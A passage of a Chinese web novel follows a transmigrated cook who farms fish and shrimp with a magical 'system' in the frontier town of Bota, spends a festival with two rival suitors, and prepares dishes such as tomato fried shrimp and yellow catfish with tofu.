说话间,纪允茉替他盛出了一碗鲫鱼菌菇面,招呼着他坐下,“刚做好的鲫鱼菌菇面,城主可愿尝尝看?”
“纪小娘子的手艺,城中人人夸赞,我自是要尝尝看的。”面对美食,又一路赶过来,霍玄也不客气了,夹起一筷面,呼呼地吹着热气,迫不及待地送入口中。
鲫鱼汤的鲜香,没有猪肉那般的油腻,竹笋、香菇这样的素菜,让近期餐食上吃肉的他,味蕾得到了解放。
一碗拿鱼汤熬煮的素面,倒是比他府上那些个厨子做的任何面都要衬他的心意了,霍玄道:“怪不得辰儿总是跟我提起你做的饭菜好吃,今日一尝,确实如此。”
“谢城主谬赞。”纪允茉十分有眼力见,招呼着城主带来的二十几人,同木匠师傅一起过来吃饭。
“幸亏做的够多!”她小声暗自感慨着,这么一人一碗盛了去。
一碗面见底,放下碗筷,霍玄才同两人谈起了正事,“养鱼养虾,这么大一个湖,纪小娘子打算雇人看守吗?”
这点也是纪允茉较为犯难的一点,要是辞了锦蜀酒楼的工作,专门住在这将要搭建好的小木屋中,就守着这群鱼虾,没了收入,鱼虾养成之前,怕是温饱都难以解决,根本就不现实。
若是雇人长期守在此地看守,工钱她给的起,但若是看守的人稍不留神,鱼虾就有可能惨遭毒手,她也不放心。
在博塔,她也没个亲信,一来二去,看守鱼虾的活儿,就成了个难题。
“若是纪小娘子信我,我可叫手下的人轮番站岗守着,免得鱼虾遭了贼人的手,平常也能帮你做些活计。”霍玄看出了她的为难,率先开口道。
纪允茉没想到一个城主能帮自己帮到这种地步,自是没有推脱,索性顺着应下了,“那自然是再好不过了,能有城主帮忙,我还能有什么不放心的?”
“不过,我也有一个条件。”
“城主尽管说!”纪允茉替他倒了杯茶,“什么条件我都能答应。”
“你的鱼虾运送到博塔本地贩卖,价钱便宜些卖。”
“那是自然!”
周则衡看着她脸上的笑意,跟着微微一笑,就在两天之前,他特地抽空去了趟城主府,来找霍玄不为别的,就为能够为纪允茉争取到养鱼的湖泊,能够有官兵把守。
他自小跟着祖父谋生,什么样的恶都见过,防患于未然,定是没有错的。
霍玄没想到他能为纪允茉的事如此上心,开口问道:“你做的这些,都不让她知道,值得吗?”
“城主,没有什么值不值得的。”周则衡坦然自若地说:“若是湖泊里真的养出鱼虾来了,博塔短粮之事,兴许能够得到解决,也算是造福百姓。”
“而我,信她一定能行!”
23. 蒜蓉粉丝蒸扇贝
春意渐浓,连续忙了几天的纪允茉终于能松一口气了,屋外热闹极了,不时有笑声传来。
开萨尔给他们放了三天的假,而锦蜀酒楼里的人从几天前就开始为节日做准备了,不仅各个角落都清扫了一遍,提前炸好的馓子,米肠子、耗牛肉、薄皮的羊肉包子都出现在了餐桌上。
“今天不能赶回家的,可以留在酒楼里吃饭。”
留下没往回赶的人,近乎齐声应道:“多谢掌柜的!”
锦蜀酒楼中任职的,除了博塔本城人,还有外地来的,比如纪允茉他们就是。中原过春节,而这里过肉孜节,和春节一样的热闹。
大家换上新衣,和家人欢聚一堂,不约而同地聚在一起跳萨玛舞,而最吸引纪允茉的就是今天所能够尝到的美食。
鸡蛋磕入面粉中,拿花椒水和面,搓成粗细均匀的长条,放油锅里炸制定型,就是所谓的馓子,捻起一个,很是酥脆。
“难得今天没什么事情,出去转转?”纪允茉双手撑在木桌上,随意地拿起个羊肉包子啃了起来,不紧不慢地对坐在对面的周则衡说着。
“我还没有过过肉孜节,不知道今天博塔城里会有什么热闹、好玩儿的。”
周则衡轻声应着,“嗯,可以。”
原身自小体弱,被养在江州,直到十五岁才被纪军行派人接到京城,平日里极少出门。还没在京城过上一年的好日子,全家就落了个意图造反,发配边疆的命运。
故此,无论是原身还是穿越过来的她,从未在这样热闹的节日里好好出门游玩一番。
“鱼苗虾苗可都放进去了?”周则衡也拿起一个馓子,啃了口。
纪允茉喝了口咸香的奶茶,点点头,“全都放好了,现下只需撒鱼食、虾料,等着它们慢慢长大就好了。”
几天的时间里,湖边的木屋搭建好了。而她趁着霍玄派来的看守的官员到来的前一晚,已经从系统那里拿了虹鳟、南美白对虾、罗非鱼、斑节虾苗来养。
海产养殖系统工具箱中的药水,可以很好地让湖水变幻成她所要养殖鱼虾的生态海水。而若大的湖,她又叫人拿竹子和渔网将区域都划分隔开了。
远远看去,如同蜂巢切面一般,十分有序。
每一个划分出来的区域,都只养着一类鱼虾,而每一类鱼虾都有从系统那里兑换来的专属鱼食、虾料。
从系统空间里兑换出来的东西就放在搭建好的木屋角落,一切都由纪允茉亲手操办,来看守的官兵,只当是她提前买好的,按部就班地照她所说的喂鱼喂虾。
“这次雇人、搭建木屋等等,这几个月的存款都花的差不多了吧?”周则衡的一句话将她的思绪拉了回来。
纪允茉心里算着,她自来了博塔,住房上开萨尔坚决不让她交一分钱,平日里的吃喝又都是锦蜀酒楼提供,除去每月会买上一件衣裙和些许零嘴,再减去雇人撒盐、搭建木屋、送货,她此刻只剩下了五百文钱。
幸亏海产品养殖系统那里得来的鱼苗、虾苗,还有它们的饲料不需要钱币兑换,否则就算是木屋和湖水的生态系统调控好了,她近期也无法开始养鱼。
不过,纪允茉倒是很乐观,她吃完最后一口馓子,笑道:“我现在身上只剩五百文钱了,但是那又怎样?做生意前期哪有不投入成本的?往后再赚回来就是了。”
“我身上还有一贯钱,你先拿着用。”周则衡说着,就要解开荷包,从中拿钱出来给她,却被她出言止住,“别了,这钱你拿着。”
“今天出门游玩,你来结账就好。”她不是个贪心的人,也从来没有见过书中的男主能对一个配角这么好的,思考到这一点后,她猛然醒悟过来,自言自语小声的说着:“不对啊,这都过了那么久,为什么本书的女主还没有出现?”
她在穿越之前,从未看过这本小说,更不清楚故事的人物和发展,就算是只有开头几章而断更的小说,那也是有设定好的故事主角。
“难道我穿进了一本无cp小说里?”纪允茉在心底呼喊着系统,与之用意识对话,而她还没问出口就听到海产品养殖系统慢悠悠地说;[宿主只需完成任务,一直走到故事终章即可,其它的事情,顺其自然就好了。]
“行,我还不想管那么多呢。”纪允茉在心里回应着它,脚步轻快,迈过门槛儿。
周则衡只是在她说了要自己结账后,轻声地说了句‘好’,见她这么开心,也跟着露出浅浅的笑意,跟上她的脚步。
—
今日的博塔城中倒不似往常那般热闹,许多摊位和铺子都没开张,整条街上只是偶尔能碰到几个路过的人。
纪允茉只觉得太安静了,转而问道:“今天不是过节吗?怎么一个人都没见到?”
“酒楼里赶着回家的人,昨天就走了,兴许是回家走亲访友去了。同我们的春节一样,家家团聚,街上自然是会冷清许多。”
来这里几个月,周则衡也跟着了解了很多关于博塔本地的风俗习惯,他不想在面对纪允茉的询问时,自己答不上来。
对比霍炎辰,失了身份地位上的优势,就要从其它方面疯狂的弥补,以至于自己不会落了下风。
他也曾想过,有朝一日,若是能将自己的功名夺回来,将属于自己的诗文拿回来,谋个一官半职,也好有了更多的优势去争,去将心底藏着的秘密说出口。
“往城中走走去,应当是能看到他们跳萨玛舞的,说不定城郊还会有赛马、叼羊的比赛。”
纪允茉快跑两步,又忽地转身倒着走,双手负于身后,问:“周则衡你怎么知道这么多事情的?”
“你明明也出生在京城,怎么会知道这么多关于博塔的事情?”
“闲来无事,从书里看来的。”他躲开了纪允茉探究的视线,低着头,有些心虚地说着,生怕心里的那点小心思被她发觉。
纪允茉只是笑着,没有再继续追问下去,她仍旧是面对着周则衡,倒着走路,步伐不快,一个不留神,后脚跟踢到路上凸起的石块儿。
一下子失了平衡的人,不受控制的往后倒去,几乎是下意识的,纪允茉张开双臂,想要抓住周围一切能抓住的东西,来维持平衡。
她一把扯到了慌忙跑来的周则衡的衣领,后者只是想要扶住她,却没想到被这么一拉,他也跟着踉跄两步。
脑海中预演摔倒的疼痛让纪允茉双手紧紧地环住他
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的脖颈,站不稳的缘故,整个人扑入他的怀中,她的脸颊贴在周则衡的胸口上。
擂鼓般的心跳声隔着布料传入耳中,她的脸颊也跟着慢慢染上一片绯红,变得滚烫。
一瞬间,她的大脑一片空白,明显感受到了周则衡呼吸加重,同她一样,僵硬地保持着想要环抱住她的动作,而手却迟迟没有放在她纤细的腰上。
愣怔了半分钟,纪允茉猛地推开他,低着头,羞红了脸,小声道:“我不是故意的,谁知道这好好的路上,还能出现绊脚的石子。”
“不,是我情急之下唐突了,还望纪姑娘见谅。”
好在街上没有其他人路过,这样一件小插曲,只有他们彼此知道。
纪允茉小跑几步,与他拉开距离,没敢再回头看他,而周则衡的状态和她一样,明明是柔和的春日,却有种莫名的燥热从心底涌出。
如果喜欢有声音,那爱将震耳欲聋。
“纪小娘子,我可算是找到你了。”一身着深蓝色裋褐,发丝尽数束起的小厮,焦急忙荒地追了上来,“霍大公子前几日订了瑞兴楼的蒜蓉粉丝蒸扇贝,邀您也一同去尝尝,看台也占好了位置,吃过了午食再去看叼羊赛。”
“今日不都是合家团聚吃饭,走亲访友的吗?怎么你家少爷过节还顶酒楼出来吃饭的?”
一路上走来,街上都没几家店铺开着,纪允茉觉着实在是无聊,转头问周则衡,“去吗?”
“纪姑娘若是想去便去,这是纪姑娘的自由。”周则衡十分善解人意地说着,没等纪允茉回答,转而却低声地说:“纪姑娘去吧,不过是留我一个人过节而已,没什么大不了的,我自己一个人只不过会孤单些罢了。”
那声音中带着一丝委屈,纪允茉连忙转头看向那小厮,“你们家公子是不会介意多一个人过去的吧?”
“这……”小厮也不好替霍炎辰做定夺,一时之间不知道该作何回答。
最终,在所有菜都上齐了之后,三人就这般相看无言,纪允茉敏锐的感知到,气氛有种说不上来的冷冽。
“霍大公子,大过节的,怎么不和家人一块儿吃饭?竟还有心思来这酒楼里潇洒。”周则衡率先开口说道。
霍炎辰也不甘示弱地说:“瞧周公子这话说的,你不是也没回家去吗?”
这话正中周则衡下怀,他道:“我同纪姑娘家人已逝,结伴而行来了博塔。我们倒是想同家人一起过节,也没这个机会了。霍大公子说这话,倒真是让人寒心。”
霍炎辰哪里知道还有这一说,只得夹起一只扇,放到纪允茉面前空着的碟中,转移了话题,“纪小娘子,这可是我一早就预定好的,托人送来的活扇贝做的蒜蓉粉丝蒸扇贝。”
说着,他又拿餐刀割下一块耗牛肉,“这可是他们家的特色,也是我提前预定的。”
扇贝肉很厚实,肥美柔嫩,粉丝滑溜劲道,配上蒜蓉的辛香,不仅好吃,点缀上去的葱花红椒,对比上扇贝橙黄色的外壳,一整个卖相极好。
味道上着实让人无可挑剔,纪允茉还惦记着看叼羊赛的事,问了句,“叼羊比赛什么时候开始啊?我从未看过这样的比赛,还是想赶去一饱眼福的。”
24. 番茄锅包虾
博塔地区地广人稀,连绵起伏的群山外是望不到头的草原,春风一吹,萌生出一片新绿。故此,博塔多数人以放牧为生,成群的牦牛和羊群。
面对突如其来的暴风雪或是野兽偷袭,羊群就极易失散。往往这个时候,牧民们便需纵马追赶,弯腰俯身,一手握住缰绳,一手提起走散的羊的后腿,将它提上马背,驮回羊群。
久而久之,这样的一项技能,就演变成了一种竞技活动——叼羊。
纪允茉边走,边期待着这场盛大的活动,对于没见过的一切,她都有种好奇的心态。好不容易到了场地外的小木屋前,参赛的人还在准备着。
她寻了处相对较高的地方,周则衡同霍炎辰也跟着,一人一边,站到她的身旁。
“周公子先前可曾看过叼羊?”霍炎辰双手抱臂,漫不经心地问着。
“不曾。”
“也是,看着一副文弱书生的样子,怎会对这些东西感兴趣?”霍炎辰话中带着一丝得意,“你这个样子,怎么能保护得了纪小娘子?”
周则衡满不在乎,撇了一眼他,“书生也好,起码比有些大字都不识几个的人要好。”
“你说谁不识字?”霍炎辰打开手中的折扇,愤懑地扇了两下,“你可知,我这一把扇子足够买你一身的行头了。”
周则衡低头看了自己这一身月白色的棉布长袍,他道:“我这身行头是不如霍大公子的锦衣华袍,但……”
霍炎辰正沉浸在得意之中,却听他话音一转,“但这一身却是纪姑娘为周某买的,霍大公子怎么能这么说?”
“这是在嫌弃纪姑娘给周某买的衣裳太过廉价了吗?”
霍炎辰怎么也没想到,他这一身衣服能是纪允茉买的,整个人愣怔了两秒,又急忙地开口,“我不是这个意思,我真不是这个意思。”
他慌忙地转过身对纪允茉解释起来,“纪小娘子,都是他,就是他欺负的我,你看他那个样子!”
话音落,周则衡收起唇角的笑意,换上一副毫不知情,只是实话实说的神情,“霍大公子这是什么话?我哪儿有?”
“纪姑娘可是一直听着的,究竟是我欺负他,还是他有意说我?”
纪允茉抬手打断两人的话,“停!我就想安静的看个比赛,你俩要斗嘴一边去!”
霍炎辰微微抬手,指向他,脸上尽是不屑的神情,似乎是在说:“行,你等着!”
周则衡眉梢轻扬,又理了理衣襟,轻声笑道:“好了,不说了,看比赛吧。”
赛场上的人利索地翻身上马,分成了两队,而组织这场比赛的人,将提前宰杀处理好的羊,放到南北两队中间。
比赛开始之后,两队人马中皆出现一位骑着枣红马,冲在最前方的少年,一个身着银色骑装,而另一个身着玄色骑装,红色的发带随风扬起,被广袤的绿色草地衬托的格外耀眼。
两人皆身姿矫健,利剑一般向那只羊冲去,速度上不分上下,眼见离猎物不到三米,那玄衣少年竟松开了缰绳,枣红马依旧扬起马蹄飞快地向前冲去,而他弯下腰,双腿用力夹紧马肚,长臂一伸,比对手仅仅快了一步,将羊抱了起来。
而后他重新直起身子,单手勒住缰绳,让枣红马紧急地调转方向,朝着终点而去。
整个过程不到五秒,可他却能这么轻松地抱着羊而去,惹得纪允茉同那群看赛的姑娘一齐惊呼出声。
而那玄衣少年在听到惊呼声后,还不忘朝转头朝人群呼声最高的方向看了眼。这一举动,更是叫那还未出阁的姑娘羞红了脸,纷纷偷笑着,以帕掩面,私下小声同密友议论着。
“这有什么的,我要是日日在这草原上骑马练习,定做的比他还要好。”霍炎辰见纪允茉也跟着鼓掌,傲娇地开口。
纪允茉没理他,眼睛不曾从赛场上移开一点。
银袍少年那队人马很快追了上来,左右围堵玄衣少年,想要从他手中将羊给夺回来。
而那玄衣少年,将羊护在怀中,来回几次避开了想要上前夺羊的人,银袍少年趁着队友的助力,上前抢夺。
眼看马上就要拿到手了,玄衣少年的队友正好赶来,替他挡住了前来抢羊的银袍少年。
二十几人策马奔腾,马蹄扬起的瞬间,带起一阵尘土,随风飘去。
那只羊从玄衣少年手中落到他的队友手中,再被银袍少年抢了去,临到了终点,又再次回到了玄衣少年手中。
最终被他稳稳扔进终点处的框子中,叼羊比赛就此结束。
“好!”不知是谁喊了一声,余下的人也跟着叫好,纪允茉看的热血沸腾,打心底里佩服那玄衣少年。
鲜衣怒马少年郎,可不就是这样的吗?
长鹰盘旋在万里无云的空中,草原一望无际,无不诉说着自由二字。
“真好,现在的生活比我以前上学上班的日子过的都舒坦。”散场之后,纪允茉跟着人群往回走着,她摆动着双臂,深呼吸一口,感觉连空气都充斥着自由。
现在工作的薪资和休息时间,是她先前想都不敢想的,又是她喜欢的职业。
“接下来干什么去?”她问。
周则衡想了想说:“可以去跳萨玛舞。”
“今天都是回家吃团圆饭,给孩子们发红包的。”霍炎辰提议着,“城中兴许有人聚在一起跳萨玛舞,纪小娘子可愿同我一起去?”
听他说到吃团圆饭,纪允茉这才想起,后厨除了她和一位同样是外地过来任职的庖厨,余下的人都回家过节去了,要是独留他和开萨尔做这顿团圆饭,那自己也太不够义气了。
“不了,从这里慢慢走回锦蜀酒楼,估摸着都要到申时了。刚好,回去帮着做晚饭。”
“那……,纪小娘子,下次再见了。”霍炎辰带着几分失落,先走了一步。
合家团圆的日子,街上的茶馆、铺子,即使开着也不待客,明明是极其热闹的一天,除了那个不想回的家,他却不知道该去哪里了。
相反,纪允茉享受着迎面而来的暖风,穿梭在草原上,享受着难得的休假时光。
—
小手臂一般长的红爪虾去掉虾头和虾壳,而后开背,将虾线取出,雪白的虾肉摊开,轻轻的改刀,不切断,再拿刀背敲敲虾肉,防止等会儿油炸的时候卷起来,让肉质均匀松散些。
这样一个完美的小虾排就完成啦!
虾
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排放葱姜、盐和料酒,抓匀了进行腌制半个刻钟,纪允茉又拿了从系统空间中兑换来的番茄酱,重新拿了空碗过来。
一大勺番茄酱,加进去的白醋和白糖比例相等,再来上一点点的盐,搅拌均了之后,料汁放到一旁备用。
而做番茄锅包虾,少不了的就是那层酥脆的外皮。
土豆淀粉,和提前兑换好的香脆炸粉、泡打粉,按比例调配好后,加水和大豆油,混合搅拌成酸奶状的糊糊就好了。
再备些玉米淀粉,此刻虾排上的水渍也干了,油锅烧到放下一根筷子,筷子周围冒出浓密的气泡,纪允茉右手捻起一只红爪虾,放到玉米淀粉中,正反两面都裹上一层,再把裹好的虾放到调配好的糊糊中,使其完全浸透。
每只虾都重复操作,下入油锅之中,第一遍简单炸制定型,第二遍再次复炸,让那层包裹住红爪虾的外壳更加酥脆可口。
拿笊篱捞出,找了个陶盆,尽数捞了出来。
之前调好的料汁,倒入小铁锅中,生火慢慢把番茄料汁收浓,炸好的虾全都放入翻炒均匀,从头到尾都裹上了料汁。
取琉璃盘来,夹出五六只摆盘,再放上葱丝进行装饰。
裹上料汁的外皮,酸酸甜甜,很是开胃下饭。小山般堆在盘中,虾肉紧实,趁热吃上一口,脆脆的外皮带着虾肉,红彤彤的酱汁从嘴角溢出。
红爪虾个头儿大,吃起来也过瘾。
纪允茉做了好几份出来,开萨尔取了一份出来,叫人装入暗红色的食盒中,给霍城主送去。
只要是过节,他们这些开酒楼的,都会给各个官员或是寺庙,送去些店里招牌或是新出的吃食,互相之间走个人情。
往年可能会犯难送什么的开萨尔,今年总算是不必发愁了,纪允茉做的菜,随便一道送出去,保准是能行的。
故此,当这盘番茄锅包虾出现在家宴的饭桌上时,霍炎辰随手夹起一块,只尝了一口,便猜测着,“这菜是锦蜀酒楼送来的吧?”
母亲赵氏笑着又给他夹了一块,道:“不错,这确实是锦蜀酒楼派人送来的,你爹爹爱吃这家酒楼的菜,总是叫人送外送。”
“母亲就叫人给端上来了,辰儿若是喜欢,就多吃些。”
霍玄也跟着搭话,“许是预计上新的菜式,我先前可未曾尝过。”
下一秒,他话题一转,“你姨母带着你婉儿妹妹来住几天,你平日里多带你婉儿妹妹出去转转。”
“府上找不出个丫鬟嬷嬷了吗?非得让我去?”霍炎辰怎会不明白,他们是在有意撮合他们两人,随口回怼着。
“她这是第一次来博塔,你寻常闲着没少出府,整日游手好闲,怕是没人比你更熟悉博塔了!叫你带着你妹妹出门逛逛,这都不成?“
霍玄压着怒火,赵氏连忙道:“辰儿,就听你爹爹的,带着婉儿四处去转转。”
“你们休想拿婚事绑住我,我要娶,也是娶我心上人。不可能你们说让我娶谁,我就娶谁!”霍炎辰直接挑明地说着摔筷离席,还没走出两步,就听到霍玄呵斥的声音从背后传来。
“我倒要让你看看,究竟是你说了算,还是我这个当爹的说了算!”
25. 黄鸭叫煮豆腐
四月初的天,不少孩童从学堂出来之后,邀着三五玩伴,从背着的布挎包中拿出提前备好的风筝,相约着去了草原上,风筝拿在手上的那一刻一路小跑着,越跑越快,风筝也跟着飞入天际。
卫云婉撩开马车车窗的帘子,兴奋地指向远处,道:“炎辰哥哥,你快看!那燕子风筝飞的多高,还有那一只蝴蝶风筝,真好看。”
霍炎辰坐在她的对面,右手手肘置于翘起的右腿膝盖上,右手握拳撑着脸颊,将无可奈何的姿态演绎到了极致,他没有理会卫云婉。
从出城陪着她看杏花,到现在往城中赶去,都是卫云婉在他身边一个劲儿地说着,霍炎辰愣是不愿意开口,只是在被问的急了,才不耐烦地嗯了声。
反倒是卫云婉,似乎并没有被他这样一副冷冰冰的态度而气馁,继续扯开话题,同他说着。
“炎辰哥哥,博塔城中可有什么好玩儿的,好吃的?”
“有什么是京城没有的?”
“平常炎辰哥哥最喜欢去哪里?”
说起吃的,霍炎辰总能第一时间想起有着一手好厨艺的纪允茉,他淡淡地说了句,“锦蜀酒楼。”
卫云婉见他终于理自己了,忙继续顺着话题聊下去,“这可是炎辰哥哥经常去的一家酒楼?”
霍炎辰点点头,随后又听到她说:“那炎辰哥哥能否带婉儿去?”
“不行!”他脱口而出,言辞犀利到没有任何商量的余地,这气势倒是将卫云婉吓了一跳。
“为什么不行?炎辰哥哥。”卫云婉带着委屈的哭腔说着,双眼含泪,可怜巴巴地望向他。
怎么能带她去?
带她去了,一路上定是会被那群爱八卦的人看了去,私下里不知道又要怎么说。
要是传到了纪允茉的耳中,他要怎么解释?
对于这门强行塞到手中的亲事,霍炎辰是极具抗拒的,他先前从未见过卫云婉,叫他娶了一个和自己没有感情的人结婚,不如杀了他。
眼看着卫云婉就要哭出来了,霍炎辰急中生智地解释起来,“我这是为了表妹好,表妹若是想去,自个儿去便好,今日的花销全都算在我头上。”
卫云婉自是不愿,刚想开口,马车驶过城门,霍炎辰找准机会,跳下了马车,踉跄两步,头也不回地说:“我还有事,今日不能陪你再逛下去了。”
卫云婉掀起帘子,看着他远去的背影,又气又无奈。
被思绪困住,烦心的霍炎辰,去了暗香阁。还未进门,满头金钗的老鸨挪动着肥胖的身子,就迎了上来。
“霍大公子,你可好久都没来了,最近忙什么去了?”
霍炎辰双手负于身后,看着台上红裙轻舞的女子,指着其中一人道:“她是谁?新来的吗?怎么先前从没见过?”
老鸨顺着他所指的方向看去,笑嘻嘻的,“霍大公子真是好眼力,她叫百娟,是个新来的。”
“弹的一手好琵琶,活儿也好。”老鸨凑近他,压低声音道:“保准给公子伺候好了。”
霍炎辰摆手示意她将人叫过来,老鸨笑得脸上皱纹尽显,抬起手臂挥着手中的团扇,“百娟,快过来。”
一身红纱,脚踝带着金铃的女子听后,顺从地走了过来,朝霍炎辰行了一礼,而后看向老鸨。
“霍大公子叫你呢,你跟着去就是了。”
霍炎辰常来听曲儿喝茶,习惯了坐在台子下,正中间的那张桌前,就那么看着台上人一舞接着一舞,而往往这时,就会有不少女子围过来,替他倒酒,装作柔弱的倒在他的怀中,不时再捻起一个葡萄塞入他的口中。
他出手极为大方,来的次数多了,老鸨自然就记住他了,特意给他留下他爱坐的位置。
“公子,请。”百娟倒了杯酒,做了个请的动作,半跪在他的身侧。
不出三秒,他的身边挤满了围过来的女子,各种胭脂香粉味瞬间充斥在空气中,有的女子将手搭在他的肩上,撒娇地说:“霍大公子,这都多久没来了?可是见了其她妹妹,忘了我?”
“公子,奴家新学了一首曲儿,上楼去我单唱给公子听,可好?”又一人挤了过来,将百娟推了出去。
“公子你看,我今日穿的可好看?”女子说着将外衫褪去,露出香肩,往霍炎辰身边凑。
‘哐当’一声,他摔了酒杯。。
“滚,都滚!”
这一声过后,几人鸟雀般,逃也似地散开了。
霍炎辰推开身侧装晕的人,本就烦躁的他,被几人这般围着,更烦了。他指向一旁的百娟,“你来给我倒酒。”
“是。”百娟诺诺地回了句,低着头,单手握住酒壶,重新为他拿了个杯子。。
霍炎辰一杯接着一杯酒下肚,瞧着台上舞女换了一批又一批,醉意渐渐涌上心头,他对百娟道:“若不是身不由己,你可愿留在这里?”
百娟仍旧低着头,声色沉闷,“若不是为了给阿娘治病买药,我死都不会踏入暗香阁半步。”
霍炎辰冷笑了声,深深叹了口气,“有时我就想,自己同你们有甚区别?”
“我读什么书,走什么样的路,甚至我的婚事,这些我都不能自己去拿主意。”
“可悲,可叹!可悲,可叹啊——”他拿起酒壶,仰头灌了口,站起身的瞬间,左右晃荡,险些站不稳时,又一屁股坐了下去。
“去,你不是擅长弹琵琶吗?上台上给我弹几曲,每弹一曲,我给你一两银子。”
听了这话,百娟还没来得及答谢,方才四散而去的女子,其中一人就道:“公子,奴家也会弹琵琶,奴家给公子弹可好?”
这样赚钱的机会,谁也不想错失了,而霍炎辰丝毫不给她继续说下去的机会,“我是叫你了吗?”
他右手撑着额头,半伏在桌前,看着百娟朝他行了一礼,而后抱着琵琶缓缓走上台。
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热锅放从系统那里兑换的茶油,油热下姜爆香,再撒了盐进去,翻炒两下,放入黄鸭叫,慢慢煎到两面焦香,加米酒去腥。
锅中油滋滋冒泡儿,鱼肉的香味勾起人的食欲。
“沙拉买提,给我再打些滚水来。”纪允茉喊道,没过多久,瘦小的身影穿过几个灶台,将一盆热水送了过来。
纪允茉将盆中水倒了一半下去,滚水没过鱼肉,豆腐切大块加进去,煮上一分钟,撒上青红线椒。
继续煮上几分钟,直到汤汁慢慢
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变白,最后加味精、胡椒粉和适量的盐进去调味。
纪允茉拿了个小勺,舀起汤汁尝了口,还是记忆里那个鲜香的味道。
“就是少了点儿紫苏,再加些紫苏进去,味道会更好。”她盛了一碗出来,递给沙拉买提。
后者双手捧着汤碗,歪着脑袋问,“阿姐,紫苏是什么?”
“紫苏可以拿来当个调味的,也能炒菜。叶子是紫色的,所以叫紫苏。只是博塔城中没有,也难运送过来。”纪允茉解释着。
沙拉买提若有所思地点点头,捧着汤碗喝了口,汤汁咸香,加了线椒进去,却不呛喉咙,辣味与茶油香交织,鱼肉嫩滑,带着焦香气。
“阿姐,这道菜叫什么?有点辣,但很开胃。”他问。
“这鱼叫黄鸭叫,加了豆腐进去,所以这道菜就叫黄鸭叫煮豆腐。”
她拿了较深的汤盘,将锅中剩下的尽数盛了出来,一旁端着木托盘的店小二熟练地将汤盘放上去,端着给送了出去。
锦蜀酒楼近乎每周都会上新个三五道菜式,上新之前,酒楼都会写了招子挂出去。纪允茉的手艺传出去之后,但凡出新菜,都有一波客人点名要尝尝看。
今日所做这黄鸭叫煮豆腐也不例外,卖的格外好。
季节性菜单,过了这个时候,就要再等上一年才能吃到,谁也不想亏待了自己的胃,错失尝到任何一道菜。
不到午时,酒楼内就坐满了人。
而卫云婉独自一人在博塔城中逛着,她平日里极少出门,一天中绝大多数时间都是在自己的院中绣花、做些糕点吃食。
到了博塔城中,看着各家铺子,随处可见的各种小玩意儿,每一个都觉得新奇一路走一路逛,倒也很快将一早与霍炎辰发生的不愉快抛到了脑后。
只可惜,她是庶出,家中排行第五,没有过多的月钱,即使看到了很喜欢的珠宝簪子,也要斟酌再三,看了又看,最后恋恋不舍地放下。
那店家见她实在是喜欢,将要走的人又叫了回来,“哎,小娘子,你等等。要是真的喜欢,我便宜些将簪子卖给你。”
“多少钱?”卫云婉回头问道。
店家朝她比了四个指头,“原本我都要卖四百五十文的,你若喜欢,四百文拿去。”
是只蝴蝶簪子,蝴蝶翅膀上镶嵌着极小的红绿玛瑙作为装饰,巧妙的是,轻轻一拿,蝴蝶翅膀就会左右摆动,像只真的蝴蝶。
“成!”卫云婉着实喜欢,索性买下了,抱着装簪子的木盒,走路都变得轻巧了。
她要给自己备一套门面,至少能让霍炎辰惊艳,吸引住他的目光,单是想着,她就不好意思地低头笑了。
将要走到锦蜀酒楼门前时,听到走在前面的人道:“听闻锦蜀酒楼今日新出的菜是黄鸭叫煮豆腐,走,尝尝去。”
“行。欸,你说今日还能遇见霍大公子吗?每次出了新菜,他都会赶去尝尝。”
“谁知道呢?不过,那纪小娘子生的好看也就罢了,又有一手好厨艺。各家公子自是喜欢来捧场的。”
今早霍炎辰的确提起过锦蜀酒楼,他会不会真的也在?
想到这里,卫云婉跟在两人身后,一同进了酒楼。